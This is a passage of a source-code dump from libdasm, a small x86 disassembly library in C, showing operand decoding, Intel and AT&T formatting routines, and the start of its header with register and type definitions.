509 | (MASK_FLAGS(oflags) == F_s))
510 | op->immediate |= 0xffffff00;
511 | break;
512 | case OT_v:
513 | op->immbytes = (mode == MODE_32) ?
514 | 4 : 2;
515 | op->immediate = (mode == MODE_32) ?
516 | FETCH32(addr + index) :
517 | FETCH16(addr + index);
518 | break;
519 | case OT_w:
520 | op->immbytes = 2;
521 | op->immediate = FETCH16(addr + index);
522 | break;
523 | }
524 | instruction->immbytes += op->immbytes;
525 | break;
526 |
527 | // 32-bit or 48-bit address
528 | case AM_A:
529 | op->type = OPERAND_TYPE_IMMEDIATE;
530 | // check mode
531 | mode = MODE_CHECK_OPERAND(mode, iflags);
532 |
533 | op->dispbytes = (mode == MODE_32) ? 6 : 4;
534 | op->displacement = (mode == MODE_32) ?
535 | FETCH32(addr) : FETCH16(addr);
536 | op->section = FETCH16(addr + op->dispbytes - 2);
537 |
538 | instruction->dispbytes = op->dispbytes;
539 | instruction->sectionbytes = 2;
540 | break;
541 |
542 | // Plain displacement without MODRM/SIB
543 | case AM_O:
544 | op->type = OPERAND_TYPE_MEMORY;
545 | switch (MASK_OT(oflags)) {
546 | case OT_b:
547 | op->dispbytes = 1;
548 | op->displacement = FETCH8(addr);
549 | break;
550 | case OT_v:
551 | op->dispbytes = (mode == MODE_32) ? 4 : 2;
552 | op->displacement = (mode == MODE_32) ?
553 | FETCH32(addr) : FETCH16(addr);
554 | break;
555 | }
556 | instruction->dispbytes = op->dispbytes;
557 | op->dispoffset = offset;
558 | break;
559 |
560 | // General-purpose register encoded in MODRM
561 | case AM_G:
562 | op->type = OPERAND_TYPE_REGISTER;
563 | op->reg = reg;
564 | break;
565 |
566 | // control register encoded in MODRM
567 | case AM_C:
568 | // debug register encoded in MODRM
569 | case AM_D:
570 | // Segment register encoded in MODRM
571 | case AM_S:
572 | // TEST register encoded in MODRM
573 | case AM_T:
574 | // MMX register encoded in MODRM
575 | case AM_P:
576 | // XMM register encoded in MODRM
577 | case AM_V:
578 | op->type = OPERAND_TYPE_REGISTER;
579 | op->reg = MASK_MODRM_REG(instruction->modrm);
580 | break;
581 | }
582 | return 1;
583 | }
584 |
585 |
586 | // Print operand string
587 |
588 | #if !defined NOSTR
589 | int get_operand_string(INSTRUCTION *inst, OPERAND *op,
590 | enum Format format, DWORD offset, char *string, int length) {
591 |
592 | enum Mode mode;
593 | int regtype = 0;
594 | DWORD tmp = 0;
595 |
596 | memset(string, 0, length);
597 |
598 | if (op->type == OPERAND_TYPE_REGISTER) {
599 | // check mode
600 | mode = MODE_CHECK_OPERAND(inst->mode, inst->flags);
601 |
602 | if (format == FORMAT_ATT)
603 | snprintf(string + strlen(string), length - strlen(string), "%%");
604 |
605 | // Determine register type
606 | switch (MASK_AM(op->flags)) {
607 | case AM_REG:
608 | if (MASK_FLAGS(op->flags) == F_r)
609 | regtype = REG_SEGMENT;
610 | else if (MASK_FLAGS(op->flags) == F_f)
611 | regtype = REG_FPU;
612 | else
613 | regtype = REG_GEN_DWORD;
614 | break;
615 | case AM_E:
616 | case AM_G:
617 | case AM_R:
618 | regtype = REG_GEN_DWORD;
619 | break;
620 | // control register encoded in MODRM
621 | case AM_C:
622 | regtype = REG_CONTROL;
623 | break;
624 | // debug register encoded in MODRM
625 | case AM_D:
626 | regtype = REG_DEBUG;
627 | break;
628 | // Segment register encoded in MODRM
629 | case AM_S:
630 | regtype = REG_SEGMENT;
631 | break;
632 | // TEST register encoded in MODRM
633 | case AM_T:
634 | regtype = REG_TEST;
635 | break;
636 | // MMX register encoded in MODRM
637 | case AM_P:
638 | case AM_Q:
639 | regtype = REG_MMX;
640 | break;
641 | // XMM register encoded in MODRM
642 | case AM_V:
643 | case AM_W:
644 | regtype = REG_XMM;
645 | break;
646 | }
647 | if (regtype == REG_GEN_DWORD) {
648 | switch (MASK_OT(op->flags)) {
649 | case OT_b:
650 | snprintf(string + strlen(string), length - strlen(string),
651 | "%s", reg_table[REG_GEN_BYTE][op->reg]);
652 | break;
653 | case OT_v:
654 | snprintf(string + strlen(string), length - strlen(string),
655 | "%s", (mode == MODE_32) ?
656 | reg_table[REG_GEN_DWORD][op->reg] :
657 | reg_table[REG_GEN_WORD][op->reg]);
658 | break;
659 | case OT_w:
660 | snprintf(string + strlen(string), length - strlen(string),
661 | "%s", reg_table[REG_GEN_WORD][op->reg]);
662 | break;
663 | case OT_d:
664 | snprintf(string + strlen(string), length - strlen(string),
665 | "%s", reg_table[REG_GEN_DWORD][op->reg]);
666 | break;
667 | }
668 | } else
669 | snprintf(string + strlen(string), length - strlen(string),
670 | "%s", reg_table[regtype][op->reg]);
671 |
672 | } else if (op->type == OPERAND_TYPE_MEMORY) {
673 | // check mode
674 | mode = MODE_CHECK_ADDR(inst->mode, inst->flags);
675 |
676 | // Operand-specific segment override
677 | if (MASK_PREFIX_G2(inst->flags))
678 | snprintf(string + strlen(string),
679 | length - strlen(string),
680 | "%s%s:", (format == FORMAT_ATT) ? "%" : "",
681 | reg_table[REG_SEGMENT][(MASK_PREFIX_G2(inst->flags)) - 1]);
682 | // Some ATT stuff we need to check at this point
683 | if (format == FORMAT_ATT) {
684 |
685 | // "executable" operand
686 | if (MASK_PERMS(op->flags) == P_x)
687 | snprintf(string + strlen(string),
688 | length - strlen(string), "*");
689 |
690 | // displacement in front of brackets
691 | if (op->dispbytes)
692 | snprintf(string + strlen(string),
693 | length - strlen(string),
694 | "0x%x", op->displacement);
695 |
696 | // no empty brackets - we're ready
697 | if ((op->basereg == REG_NOP) &&
698 | (op->indexreg == REG_NOP))
699 | return 1;
700 | }
701 | // Open memory addressing brackets
702 | snprintf(string + strlen(string), length - strlen(string),
703 | "%s", (format == FORMAT_ATT) ? "(" : "[");
704 |
705 | // Base register
706 | if (op->basereg != REG_NOP) {
707 | snprintf(string + strlen(string), length - strlen(string),
708 | "%s%s", (format == FORMAT_ATT) ? "%" : "",
709 | (mode == MODE_32) ?
710 | reg_table[REG_GEN_DWORD][op->basereg] :
711 | reg_table[REG_GEN_WORD][op->basereg]);
712 | }
713 | // Index register
714 | if (op->indexreg != REG_NOP) {
715 | if (op->basereg != REG_NOP)
716 | snprintf(string + strlen(string), length - strlen(string),
717 | "%s%s", (format == FORMAT_ATT) ? ",%" : "+",
718 | (mode == MODE_32) ?
719 | reg_table[REG_GEN_DWORD][op->indexreg] :
720 | reg_table[REG_GEN_WORD][op->indexreg]);
721 | else
722 | snprintf(string + strlen(string), length - strlen(string),
723 | "%s%s", (format == FORMAT_ATT) ? "%" : "",
724 | (mode == MODE_32) ?
725 | reg_table[REG_GEN_DWORD][op->indexreg] :
726 | reg_table[REG_GEN_WORD][op->indexreg]);
727 | switch (op->scale) {
728 | case 2:
729 | snprintf(string + strlen(string), length - strlen(string),
730 | "%s", (format == FORMAT_ATT) ?
731 | ",2" : "*2");
732 | break;
733 | case 4:
734 | snprintf(string + strlen(string), length - strlen(string),
735 | "%s", (format == FORMAT_ATT) ?
736 | ",4" : "*4");
737 | break;
738 | case 8:
739 | snprintf(string + strlen(string), length - strlen(string),
740 | "%s", (format == FORMAT_ATT) ?
741 | ",8" : "*8");
742 | break;
743 | }
744 | }
745 | // INTEL displacement
746 | if (inst->dispbytes && (format != FORMAT_ATT)) {
747 | if ((op->basereg != REG_NOP) || (op->indexreg != REG_NOP)) {
748 | // Negative displacement
749 | if (op->displacement & (1<<(op->dispbytes*8-1))) {
750 | tmp = op->displacement;
751 | switch (op->dispbytes) {
752 | case 1:
753 | tmp = ~tmp & 0xff;
754 | break;
755 | case 2:
756 | tmp = ~tmp & 0xffff;
757 | break;
758 | case 4:
759 | tmp = ~tmp;
760 | break;
761 | }
762 | snprintf(string + strlen(string),
763 | length - strlen(string),
764 | "-0x%x", tmp + 1);
765 | // Positive displacement
766 | } else
767 | snprintf(string + strlen(string),
768 | length - strlen(string),
769 | "+0x%x", op->displacement);
770 | // Plain displacement
771 | } else {
772 | snprintf(string + strlen(string),
773 | length - strlen(string),
774 | "0x%x", op->displacement);
775 | }
776 | }
777 | // Close memory addressing brackets
778 | snprintf(string + strlen(string), length - strlen(string),
779 | "%s", (format == FORMAT_ATT) ? ")" : "]");
780 |
781 | } else if (op->type == OPERAND_TYPE_IMMEDIATE) {
782 |
783 | switch (MASK_AM(op->flags)) {
784 | case AM_J:
785 | snprintf(string + strlen(string), length - strlen(string),
786 | "0x%x", op->immediate + inst->length + offset);
787 | break;
788 | case AM_I1:
789 | case AM_I:
790 | if (format == FORMAT_ATT)
791 | snprintf(string + strlen(string), length - strlen(string), "$");
792 | snprintf(string + strlen(string), length - strlen(string),
793 | "0x%x", op->immediate);
794 | break;
795 | // 32-bit or 48-bit address
796 | case AM_A:
797 | snprintf(string + strlen(string), length - strlen(string),
798 | "%s0x%x:%s0x%x",
799 | (format == FORMAT_ATT) ? "$" : "",
800 | op->section,
801 | (format == FORMAT_ATT) ? "$" : "",
802 | op->displacement);
803 | break;
804 | }
805 |
806 | } else
807 | return 0;
808 |
809 | return 1;
810 | }
811 |
812 | #endif
813 |
814 |
815 | // Fetch instruction
816 |
817 | /*
818 | * The operation is quite straightforward:
819 | *
820 | * - determine actual opcode (skip prefixes etc.)
821 | * - figure out which instruction table to use
822 | * - index the table with opcode
823 | * - parse operands
824 | * - fill instruction structure
825 | *
826 | * Only point where this gets hairy is those *brilliant*
827 | * opcode extensions....
828 | *
829 | */
830 | int get_instruction(PINSTRUCTION inst, BYTE *addr, enum Mode mode) {
831 | PINST ptr = NULL;
832 | int index = 0;
833 | int flags = 0;
834 |
835 | memset(inst, 0, sizeof(INSTRUCTION));
836 |
837 | // Parse flags, skip prefixes etc.
838 | get_real_instruction(addr, &index, &flags);
839 |
840 | // Select instruction table
841 |
842 | // No extensions - normal 1-byte opcode:
843 | if (MASK_EXT(flags) == 0) {
844 | inst->opcode = *(addr + index);
845 | ptr = &inst_table1[inst->opcode];
846 |
847 | // FPU opcodes
848 | } else if (MASK_EXT(flags) == EXT_CP) {
849 | if (*(addr + index) < 0xc0) {
850 | // MODRM byte adds the additional byte
851 | index--;
852 | inst->fpuindex = *(addr + index) - 0xd8;
853 | inst->opcode = *(addr + index + 1);
854 | ptr = &inst_table4[inst->fpuindex]
855 | [MASK_MODRM_REG(inst->opcode)];
856 | } else {
857 | inst->fpuindex = *(addr + index - 1) - 0xd8;
858 | inst->opcode = *(addr + index);
859 | ptr = &inst_table4[inst->fpuindex]
860 | [inst->opcode - 0xb8];
861 | }
862 | // 2 or 3-byte opcodes
863 | } else if (MASK_EXT(flags) == EXT_T2) {
864 | inst->opcode = *(addr + index);
865 |
866 | // Parse flags, skip prefixes etc. (again)
867 | get_real_instruction2(addr + index, &flags);
868 |
869 | // 2-byte opcode table
870 | ptr = &inst_table2[inst->opcode];
871 |
872 | // 3-byte opcode tables
873 | if (MASK_TYPE_FLAGS(ptr->type) == TYPE_3) {
874 | // prefix 0x66
875 | if (MASK_PREFIX_OPERAND(flags) == 1) {
876 | ptr = &inst_table3_66[inst->opcode];
877 |
878 | // prefix 0xf2
879 | } else if (MASK_PREFIX_G1(flags) == 2) {
880 | ptr = &inst_table3_f2[inst->opcode];
881 |
882 | // prefix 0xf3
883 | } else if (MASK_PREFIX_G1(flags) == 3) {
884 | ptr = &inst_table3_f3[inst->opcode];
885 |
886 | }
887 | }
888 | }
889 | // Opcode extension tables
890 | if (MASK_EXT(flags) && (MASK_EXT(flags) < EXT_T2)) {
891 | inst->opcode = *(addr + index);
892 | inst->extindex = MASK_MODRM_REG(*(addr + index + 1));
893 |
894 | switch (MASK_EXT(flags)) {
895 | case EXT_GC:
896 | // prefix 0x66
897 | if (MASK_PREFIX_OPERAND(flags) == 1)
898 | ptr = &inst_table_ext12_66[inst->extindex];
899 | else
900 | ptr = &inst_table_ext12[inst->extindex];
901 | break;
902 | case EXT_GD:
903 | // prefix 0x66
904 | if (MASK_PREFIX_OPERAND(flags) == 1)
905 | ptr = &inst_table_ext13_66[inst->extindex];
906 | else
907 | ptr = &inst_table_ext13[inst->extindex];
908 | break;
909 | case EXT_GE:
910 | // prefix 0x66
911 | if (MASK_PREFIX_OPERAND(flags) == 1)
912 | ptr = &inst_table_ext14_66[inst->extindex];
913 | else
914 | ptr = &inst_table_ext14[inst->extindex];
915 | break;
916 | // monitor/mwait
917 | // XXX: hack.....
918 | case EXT_G7:
919 | if (MASK_MODRM_MOD(*(addr + index + 1)) == 3) {
920 | if (inst->extindex != 1)
921 | return 0;
922 | if (MASK_MODRM_RM(*(addr + index + 1)) == 0) {
923 | ptr = &inst_monitor;
924 | // index is incremented to get
925 | // correct instruction len
926 | index++;
927 | } else if (MASK_MODRM_RM(*(addr + index + 1)) == 1) {
928 | ptr = &inst_mwait;
929 | index++;
930 | } else
931 | return 0;
932 |
933 | } else {
934 | ptr = &inst_table_ext7[inst->extindex];
935 | }
936 | break;
937 | default:
938 | ptr = &inst_table_ext[(MASK_EXT(flags)) - 1]
939 | [inst->extindex];
940 | break;
941 | }
942 | }
943 | // Index points now to first byte after prefixes/escapes
944 | index++;
945 |
946 | // MODRM byte offset
947 | if (ptr->modrm)
948 | inst->modrm_offset = index;
949 |
950 | // Illegal instruction
951 | if (!ptr)
952 | return 0;
953 | if (!ptr->mnemonic)
954 | return 0;
955 |
956 | // Copy instruction type
957 | inst->type = MASK_TYPE_VALUE(ptr->type);
958 |
959 | // Eflags affected by this instruction
960 | inst->eflags_affected = ptr->eflags_affected;
961 | inst->eflags_used = ptr->eflags_used;
962 |
963 | // Pointer to instruction table
964 | inst->ptr = ptr;
965 |
966 |
967 | // Parse operands
968 | if (!get_operand(ptr, ptr->flags1, inst, &inst->op1, addr, index,
969 | mode, flags))
970 | return 0;
971 | if (!get_operand(ptr, ptr->flags2, inst, &inst->op2, addr, index,
972 | mode, flags))
973 | return 0;
974 | if (!get_operand(ptr, ptr->flags3, inst, &inst->op3, addr, index,
975 | mode, flags))
976 | return 0;
977 |
978 | // Implied operands
979 | inst->iop_read = ptr->iop_read;
980 | inst->iop_written = ptr->iop_written;
981 |
982 | // Add modrm/sib, displacement and immediate bytes in size
983 | inst->length += index + inst->immbytes + inst->dispbytes;
984 |
985 | // Copy addressing mode
986 | inst->mode = mode;
987 |
988 | // Copy instruction flags
989 | inst->flags = flags;
990 |
991 | return inst->length;
992 | }
993 |
994 |
995 | // Print instruction mnemonic
996 |
997 | #if !defined NOSTR
998 | int get_mnemonic_string(INSTRUCTION *inst, enum Format format, char *string, int length) {
999 | int mode;
1000 |
1001 | memset(string, 0, length);
1002 |
1003 | // Segment override, branch hint
1004 | if (MASK_PREFIX_G2(inst->flags) &&
1005 | (inst->op1.type != OPERAND_TYPE_MEMORY) &&
1006 | (inst->op2.type != OPERAND_TYPE_MEMORY)) {
1007 | // Branch hint
1008 | if (inst->type == INSTRUCTION_TYPE_JMPC)
1009 | snprintf(string + strlen(string), length - strlen(string),
1010 | "%s ", reg_table[REG_BRANCH][(MASK_PREFIX_G2(inst->flags)) - 1]);
1011 | // Segment override for others
1012 | else
1013 | snprintf(string + strlen(string), length - strlen(string),
1014 | "%s ", reg_table[REG_SEGMENT][(MASK_PREFIX_G2(inst->flags)) - 1]);
1015 | }
1016 |
1017 | // Rep, lock etc.
1018 | if (MASK_PREFIX_G1(inst->flags) &&
1019 | (MASK_EXT(inst->flags) != EXT_T2))
1020 | snprintf(string + strlen(string), length - strlen(string),
1021 | "%s", rep_table[(MASK_PREFIX_G1(inst->flags)) - 1]);
1022 |
1023 | // Mnemonic
1024 | // XXX: quick hack for jcxz/jecxz.. check if there are more
1025 | // of these opcodes that have different mnemonic in same opcode
1026 | if (((inst->type == INSTRUCTION_TYPE_JMPC) &&
1027 | (inst->opcode == 0xe3)) &&
1028 | (MASK_PREFIX_ADDR(inst->flags) == 1))
1029 | snprintf(string + strlen(string), length - strlen(string),
1030 | "jcxz");
1031 | else
1032 | snprintf(string + strlen(string), length - strlen(string),
1033 | "%s", inst->ptr->mnemonic);
1034 |
1035 |
1036 | // memory operation size in push/pop:
1037 | if (inst->type == INSTRUCTION_TYPE_PUSH) {
1038 | if (inst->op1.type == OPERAND_TYPE_IMMEDIATE) {
1039 | switch (inst->op1.immbytes) {
1040 | case 1:
1041 | snprintf(string + strlen(string),
1042 | length - strlen(string),
1043 | "%s", (format == FORMAT_ATT) ?
1044 | "b" : " byte");
1045 | break;
1046 | case 2:
1047 | snprintf(string + strlen(string),
1048 | length - strlen(string),
1049 | "%s", (format == FORMAT_ATT) ?
1050 | "w" : " word");
1051 | break;
1052 | case 4:
1053 | snprintf(string + strlen(string),
1054 | length - strlen(string),
1055 | "%s", (format == FORMAT_ATT) ?
1056 | "l" : " dword");
1057 | break;
1058 | }
1059 |
1060 | } else if (inst->op1.type == OPERAND_TYPE_MEMORY) {
1061 | mode = MODE_CHECK_OPERAND(inst->mode, inst->flags);
1062 |
1063 | if (mode == MODE_16) {
1064 | snprintf(string + strlen(string),
1065 | length - strlen(string),
1066 | "%s", (format == FORMAT_ATT) ?
1067 | "w" : " word");
1068 | } else if (mode == MODE_32) {
1069 | snprintf(string + strlen(string),
1070 | length - strlen(string),
1071 | "%s", (format == FORMAT_ATT) ?
1072 | "l" : " dword");
1073 | }
1074 |
1075 | }
1076 | return 1;
1077 |
1078 | }
1079 | if (inst->type == INSTRUCTION_TYPE_POP) {
1080 | if (inst->op1.type == OPERAND_TYPE_MEMORY) {
1081 | mode = MODE_CHECK_OPERAND(inst->mode, inst->flags);
1082 |
1083 | if (mode == MODE_16) {
1084 | snprintf(string + strlen(string),
1085 | length - strlen(string),
1086 | "%s", (format == FORMAT_ATT) ?
1087 | "w" : " word");
1088 | } else if (mode == MODE_32) {
1089 | snprintf(string + strlen(string),
1090 | length - strlen(string),
1091 | "%s", (format == FORMAT_ATT) ?
1092 | "l" : " dword");
1093 | }
1094 | }
1095 | return 1;
1096 | }
1097 |
1098 | // memory operation size in immediate to memory operations
1099 | if (inst->ptr->modrm && (MASK_MODRM_MOD(inst->modrm) != 3) &&
1100 | (MASK_AM(inst->op2.flags) == AM_I)) {
1101 |
1102 | switch (MASK_OT(inst->op1.flags)) {
1103 | case OT_b:
1104 | snprintf(string + strlen(string), length - strlen(string),
1105 | "%s", (format == FORMAT_ATT) ?
1106 | "b" : " byte");
1107 | break;
1108 | case OT_w:
1109 | snprintf(string + strlen(string), length - strlen(string),
1110 | "%s", (format == FORMAT_ATT) ?
1111 | "w" : " word");
1112 | break;
1113 | case OT_d:
1114 | snprintf(string + strlen(string), length - strlen(string),
1115 | "%s", (format == FORMAT_ATT) ?
1116 | "l" : " dword");
1117 | break;
1118 | case OT_v:
1119 | if (((inst->mode == MODE_32) && (MASK_PREFIX_OPERAND(inst->flags) == 0)) ||
1120 | ((inst->mode == MODE_16) && (MASK_PREFIX_OPERAND(inst->flags) == 1)))
1121 | snprintf(string + strlen(string), length - strlen(string),
1122 | "%s", (format == FORMAT_ATT) ?
1123 | "l" : " dword");
1124 | else
1125 | snprintf(string + strlen(string), length - strlen(string),
1126 | "%s", (format == FORMAT_ATT) ?
1127 | "w" : " word");
1128 | break;
1129 | }
1130 | }
1131 |
1132 | // XXX: there might be some other cases where size is needed..
1133 |
1134 | return 1;
1135 | }
1136 |
1137 | // Print operands
1138 |
1139 | int get_operands_string(INSTRUCTION *inst, enum Format format, DWORD offset,
1140 | char *string, int length) {
1141 |
1142 | if (format == FORMAT_ATT) {
1143 | if (inst->op3.type != OPERAND_TYPE_NONE) {
1144 | snprintf(string + strlen(string), length - strlen(string), " ");
1145 | get_operand_string(inst, &inst->op3, format, offset,
1146 | string + strlen(string), length - strlen(string));
1147 | snprintf(string + strlen(string), length - strlen(string), ",");
1148 | }
1149 | if (inst->op2.type != OPERAND_TYPE_NONE) {
1150 | if(inst->op3.type == OPERAND_TYPE_NONE)
1151 | snprintf(string + strlen(string), length - strlen(string), " ");
1152 | get_operand_string(inst, &inst->op2, format, offset,
1153 | string + strlen(string), length - strlen(string));
1154 | snprintf(string + strlen(string), length - strlen(string), ",");
1155 | }
1156 | if (inst->op1.type != OPERAND_TYPE_NONE)
1157 | if(inst->op2.type == OPERAND_TYPE_NONE)
1158 | snprintf(string + strlen(string), length - strlen(string), " ");
1159 | get_operand_string(inst, &inst->op1, format, offset,
1160 | string + strlen(string), length - strlen(string));
1161 | } else if (format == FORMAT_INTEL) {
1162 | if (inst->op1.type != OPERAND_TYPE_NONE) {
1163 | snprintf(string + strlen(string), length - strlen(string), " ");
1164 | get_operand_string(inst, &inst->op1, format, offset,
1165 | string + strlen(string), length - strlen(string));
1166 | }
1167 | if (inst->op2.type != OPERAND_TYPE_NONE) {
1168 | snprintf(string + strlen(string), length - strlen(string), ",");
1169 | get_operand_string(inst, &inst->op2, format, offset,
1170 | string + strlen(string), length - strlen(string));
1171 | }
1172 | if (inst->op3.type != OPERAND_TYPE_NONE) {
1173 | snprintf(string + strlen(string), length - strlen(string), ",");
1174 | get_operand_string(inst, &inst->op3, format, offset,
1175 | string + strlen(string), length - strlen(string));
1176 | }
1177 | } else
1178 | return 0;
1179 |
1180 | return 1;
1181 | }
1182 |
1183 | // Print instruction mnemonic, prefixes and operands
1184 |
1185 | int get_instruction_string(INSTRUCTION *inst, enum Format format, DWORD offset,
1186 | char *string, int length) {
1187 |
1188 | // Print the actual instruction string with possible prefixes etc.
1189 | get_mnemonic_string(inst, format, string, length);
1190 |
1191 | // Print operands
1192 | if (!get_operands_string(inst, format, offset,
1193 | string + strlen(string), length - strlen(string)))
1194 | return 0;
1195 |
1196 | return 1;
1197 | }
1198 |
1199 | #endif
1200 |
1201 | // Helper functions
1202 |
1203 | int get_register_type(POPERAND op) {
1204 |
1205 | if (op->type != OPERAND_TYPE_REGISTER)
1206 | return 0;
1207 | switch (MASK_AM(op->flags)) {
1208 | case AM_REG:
1209 | if (MASK_FLAGS(op->flags) == F_r)
1210 | return REGISTER_TYPE_SEGMENT;
1211 | else if (MASK_FLAGS(op->flags) == F_f)
1212 | return REGISTER_TYPE_FPU;
1213 | else
1214 | return REGISTER_TYPE_GEN;
1215 | case AM_E:
1216 | case AM_G:
1217 | case AM_R:
1218 | return REGISTER_TYPE_GEN;
1219 | case AM_C:
1220 | return REGISTER_TYPE_CONTROL;
1221 | case AM_D:
1222 | return REGISTER_TYPE_DEBUG;
1223 | case AM_S:
1224 | return REGISTER_TYPE_SEGMENT;
1225 | case AM_T:
1226 | return REGISTER_TYPE_TEST;
1227 | case AM_P:
1228 | case AM_Q:
1229 | return REGISTER_TYPE_MMX;
1230 | case AM_V:
1231 | case AM_W:
1232 | return REGISTER_TYPE_XMM;
1233 | default:
1234 | break;
1235 | }
1236 | return 0;
1237 | }
1238 |
1239 | int get_operand_type(POPERAND op) {
1240 | return op->type;
1241 | }
1242 |
1243 | int get_operand_register(POPERAND op) {
1244 | return op->reg;
1245 | }
1246 |
1247 | int get_operand_basereg(POPERAND op) {
1248 | return op->basereg;
1249 | }
1250 |
1251 | int get_operand_indexreg(POPERAND op) {
1252 | return op->indexreg;
1253 | }
1254 |
1255 | int get_operand_scale(POPERAND op) {
1256 | return op->scale;
1257 | }
1258 |
1259 | int get_operand_immediate(POPERAND op, DWORD *imm) {
1260 | if (op->immbytes) {
1261 | *imm = op->immediate;
1262 | return 1;
1263 | } else
1264 | return 0;
1265 | }
1266 |
1267 | int get_operand_displacement(POPERAND op, DWORD *disp) {
1268 | if (op->dispbytes) {
1269 | *disp = op->displacement;
1270 | return 1;
1271 | } else
1272 | return 0;
1273 | }
1274 |
1275 | // XXX: note that source and destination are not always literal
1276 |
1277 | POPERAND get_source_operand(PINSTRUCTION inst) {
1278 | if (inst->op2.type != OPERAND_TYPE_NONE)
1279 | return &inst->op2;
1280 | else
1281 | return NULL;
1282 | }
1283 | POPERAND get_destination_operand(PINSTRUCTION inst) {
1284 | if (inst->op1.type != OPERAND_TYPE_NONE)
1285 | return &inst->op1;
1286 | else
1287 | return NULL;
1288 | }
1289 |
1290 |
1291 |
--------------------------------------------------------------------------------
/lib/libdasm.h:
--------------------------------------------------------------------------------
1 |
2 | /*
3 | * libdasm -- simple x86 disassembly library
4 | * (c) 2004 - 2006 jt / nologin.org
5 | *
6 | * libdasm.h:
7 | * Definitions for structures, functions and other weird stuff
8 | *
9 | */
10 |
11 |
12 | #ifndef _LIBDASM_H
13 | #define _LIBDASM_H
14 |
15 | #ifdef __cplusplus
16 | extern "C" {
17 | #endif
18 |
19 | #define __LIBDASM_VERSION__ 0x01050000
20 |
21 | #define GET_VERSION_MAJOR \
22 | (__LIBDASM_VERSION__ & 0xff000000) >> 24
23 | #define GET_VERSION_MINOR1 \
24 | (__LIBDASM_VERSION__ & 0x00ff0000) >> 16
25 | #define GET_VERSION_MINOR2 \
26 | (__LIBDASM_VERSION__ & 0x0000ff00) >> 8
27 | #define GET_VERSION_MINOR3 \
28 | (__LIBDASM_VERSION__ & 0x000000ff)
29 |
30 | // Data types
31 |
32 | #if _WIN32
33 | #include
34 | #define __inline__ __inline
35 | #define snprintf _snprintf
36 | typedef unsigned __int64 QWORD; // for MSVC
37 | typedef signed __int8 SBYTE;
38 | typedef signed __int16 SWORD;
39 | typedef signed __int32 SDWORD;
40 | typedef signed __int64 SQWORD;
41 | #else
42 | #if defined __sun
43 | #define BYTE_ORDER 1234
44 | #define BIG_ENDIAN 1234
45 | #define LITTLE_ENDIAN 4321
46 | #define u_int8_t uint8_t
47 | #define u_int16_t uint16_t
48 | #define u_int32_t uint32_t
49 | #define u_int64_t uint64_t
50 |
51 | #endif // other *nix
52 | #include
53 | typedef u_int8_t BYTE;
54 | typedef u_int16_t WORD;
55 | typedef u_int32_t DWORD;
56 | typedef u_int64_t QWORD;
57 | typedef int8_t SBYTE;
58 | typedef int16_t SWORD;
59 | typedef int32_t SDWORD;
60 | typedef int64_t SQWORD;
61 | #endif
62 |
63 | // Define endianess
64 |
65 | #ifndef __X86__
66 | // These should catch x86 with most compilers
67 | #if defined _X86_ || defined _i386_ || defined __i386__
68 | #define __X86__
69 | #endif
70 | #endif
71 |
72 | #ifndef __LITTLE_ENDIAN__
73 | // These should catch little-endian with most compilers
74 | #if (BYTE_ORDER == LITTLE_ENDIAN) || defined __X86__ || defined _ALPHA_
75 | #define __LITTLE_ENDIAN__
76 | #endif
77 | #endif
78 |
79 |
80 | // Registers
81 | #define REGISTER_EAX 0
82 | #define REGISTER_ECX 1
83 | #define REGISTER_EDX 2
84 | #define REGISTER_EBX 3
85 | #define REGISTER_ESP 4
86 | #define REGISTER_EBP 5
87 | #define REGISTER_ESI 6
88 | #define REGISTER_EDI 7
89 | #define REGISTER_NOP 8 // no register defined
90 |
91 | // Registers
92 | #define REG_EAX REGISTER_EAX
93 | #define REG_AX REG_EAX
94 | #define REG_AL REG_EAX
95 | #define REG_ES REG_EAX // Just for reg_table consistence
96 | #define REG_ST0 REG_EAX // Just for reg_table consistence
97 | #define REG_ECX REGISTER_ECX
98 | #define REG_CX REG_ECX
99 | #define REG_CL REG_ECX
100 | #define REG_CS REG_ECX
101 | #define REG_ST1 REG_ECX
102 | #define REG_EDX REGISTER_EDX
103 | #define REG_DX REG_EDX
104 | #define REG_DL REG_EDX
105 | #define REG_SS REG_EDX
106 | #define REG_ST2 REG_EDX
107 | #define REG_EBX REGISTER_EBX
108 | #define REG_BX REG_EBX
109 | #define REG_BL REG_EBX
110 | #define REG_DS REG_EBX
111 | #define REG_ST3 REG_EBX
112 | #define REG_ESP REGISTER_ESP
113 | #define REG_SP REG_ESP
114 | #define REG_AH REG_ESP // Just for reg_table consistence
115 | #define REG_FS REG_ESP
116 | #define REG_ST4 REG_ESP
117 | #define REG_EBP REGISTER_EBP
118 | #define REG_BP REG_EBP
119 | #define REG_CH REG_EBP
120 | #define REG_GS REG_EBP
121 | #define REG_ST5 REG_EBP
122 | #define REG_ESI REGISTER_ESI
123 | #define REG_SI REG_ESI
124 | #define REG_DH REG_ESI
125 | #define REG_ST6 REG_ESI
126 | #define REG_EDI REGISTER_EDI
127 | #define REG_DI REG_EDI
128 | #define REG_BH REG_EDI
129 | #define REG_ST7 REG_EDI
130 | #define REG_NOP REGISTER_NOP
131 |
132 | // Implied operands
133 | #define IOP_EAX 1
134 | #define IOP_ECX (1 << REG_ECX)
135 | #define IOP_EDX (1 << REG_EDX)
136 | #define IOP_EBX (1 << REG_EBX)
137 | #define IOP_ESP (1 << REG_ESP)
138 | #define IOP_EBP (1 << REG_EBP)
139 | #define IOP_ESI (1 << REG_ESI)
140 | #define IOP_EDI (1 << REG_EDI)
141 | #define IOP_ALL IOP_EAX|IOP_ECX|IOP_EDX|IOP_ESP|IOP_EBP|IOP_ESI|IOP_EDI
142 | #define IS_IOP_REG(x,y) (x >> y) & 1
143 | #define IS_IOP_EAX(x) (x) & 1
144 | #define IS_IOP_ECX(x) (x >> REG_ECX) & 1
145 | #define IS_IOP_EDX(x) (x >> REG_EDX) & 1
146 | #define IS_IOP_EBX(x) (x >> REG_EBX) & 1
147 | #define IS_IOP_EBP(x) (x >> REG_EBP) & 1
148 | #define IS_IOP_ESI(x) (x >> REG_ESI) & 1
149 | #define IS_IOP_EDI(x) (x >> REG_EDI) & 1
150 |
151 |
152 | // Register types
153 | #define REGISTER_TYPE_GEN 1
154 | #define REGISTER_TYPE_SEGMENT 2
155 | #define REGISTER_TYPE_DEBUG 3
156 | #define REGISTER_TYPE_CONTROL 4
157 | #define REGISTER_TYPE_TEST 5
158 | #define REGISTER_TYPE_XMM 6
159 | #define REGISTER_TYPE_MMX 7
160 | #define REGISTER_TYPE_FPU 8
161 |
162 | // Disassembling mode
163 | enum Mode {
164 | MODE_32, // 32-bit
165 | MODE_16 // 16-bit
166 | };
167 |
168 | // Disassembling format
169 | enum Format {
